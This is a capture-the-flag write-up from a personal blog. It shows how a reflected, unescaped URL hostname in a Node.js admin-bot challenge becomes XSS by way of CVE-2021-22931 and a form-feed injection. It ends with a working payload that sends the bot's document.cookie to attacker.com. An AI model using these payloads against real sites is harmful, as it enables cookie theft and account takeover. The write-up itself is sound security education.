GODSON'S BLOG
← Back to Writeups

Abusing URL Parser for XSS

A TamilCTF challenge reflects a parsed URL's hostname unescaped into an error message. A Node.js hostname-validation CVE lets HTML tags survive as a hostname, and a form-feed injection payload turns that into working XSS against the admin bot.

Recently, I played a CTF with my team, TamilCTF, and mainly focused on web challenges. So, I decided to write solutions for the challenges I found interesting. This post covers the solution for one of them.

💡 Challenge Name: XSS 401

Challenge banner, noting the Node version is 12.22.1

Interesting note: the Node version is 12.22.1.

Website

The URL-submission app

Source Code Review

server.js:

const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')

const app = express()
const port = 3000

app.use(express.static(__dirname + '/webapp'))

const visitUrl = async (url, cookieDomain) => {
  let browser =
    await puppeteer.launch({
      headless: true,
      pipe: true,
      dumpio: true,
      ignoreHTTPSErrors: true,
      args: [
        '--incognito',
        '--no-sandbox',
        '--disable-gpu',
        '--disable-software-rasterizer',
        '--disable-dev-shm-usage',
      ]
    })

  try {
    const ctx = await browser.createIncognitoBrowserContext()
    const page = await ctx.newPage()

    try {
      await page.setCookie({
        name: 'flag',
        value: process.env.FLAG,
        domain: cookieDomain,
        httpOnly: false,
        samesite: 'strict'
      })
      await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
    } finally {
      await page.close()
      await ctx.close()
    }
  }
  finally {
    browser.close()
  }
}

app.get('/visit', async (req, res) => {
  const url = req.query.url
  console.log('received url: ', url)

  let parsedURL
  try {
    parsedURL = new URL(url)
  }
  catch (e) {
    res.send(escape(e.message))
    return
  }

  if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
    res.send('Please provide a URL with the http or https protocol.')
    return
  }

  if (parsedURL.hostname !== req.hostname) {
    res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
    return
  }

  try {
    console.log('visiting url: ', url)
    await visitUrl(url, req.hostname)
    res.send('Our admin bot has visited your URL!')
  } catch (e) {
    console.log('error visiting: ', url, ', ', e.message)
    res.send('Error visiting your URL: ' + escape(e.message))
  } finally {
    console.log('done visiting url: ', url)
  }
})

app.listen(port, async () => {
  console.log(`Listening on ${port}`)
})

This is a cross-site scripting challenge — steal the admin bot’s cookies, which hold the flag. There’s only one functionality: send a URL to the admin bot, which opens it in a headless browser with the flag set as a cookie. The goal is clear: get XSS, then read the cookie.

Lack of Sanitization

This snippet is the way in:

if (parsedURL.hostname !== req.hostname) {
  res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
  return
}

The escape() function does encode HTML characters — but notice that in your parsed hostname was: escape(${parsedURL.hostname}), the literal text escape(...) is just part of the template string; ${parsedURL.hostname} itself is interpolated unescaped.

parsedURL.hostname just returns the hostname of the provided URL:

var url = 'https://google.com'
parsedURL = new URL(url)
console.log(parsedURL.hostname); // google.com

Remember the challenge description mentioned Node 12.22.1? Searching for potential CVEs turned up CVE-2021-22931 — missing input validation of hostnames returned by DNS servers in Node’s dns library, which can lead to unexpected hostname output. At the time of writing there was no public PoC yet.

HTML Injection via CVE-2021-22931

On a hunch, I just tried injecting an HTML tag as the hostname — and it worked:

https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<h1>godson</h1>

HTML tag reflected via the hostname

RFC Constraints on Hostnames

Since we’re smuggling our payload through the hostname, a few rules apply:

  • No spaces.
  • Case doesn’t matter — the browser lowercases the hostname automatically.
  • These characters can’t be used: ? / \ # @

Exploit Idea

We need a payload with no spaces and none of the above characters. URL-encoding whitespace didn’t help — but Unicode characters are allowed in hostnames. So the goal became: find a Unicode character the browser renders like whitespace in the DOM, without it being an actual space character subject to the hostname’s own restrictions.

XSS

After some professional google searches, I found a write-up describing Form Feed Injection — using the form-feed character in place of a space:

💡 <svg%0Conload=alert()>

Using this as the hostname gives us working XSS:

alert() firing via the form-feed SVG payload

Final payload to exfiltrate the flag:

https://chal.link/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://attacker.com/?'+document.cookie

🚩 Flag: wsc{wh0_kn3w_d0m41n_x55_w4s_4_th1n6}

On This Page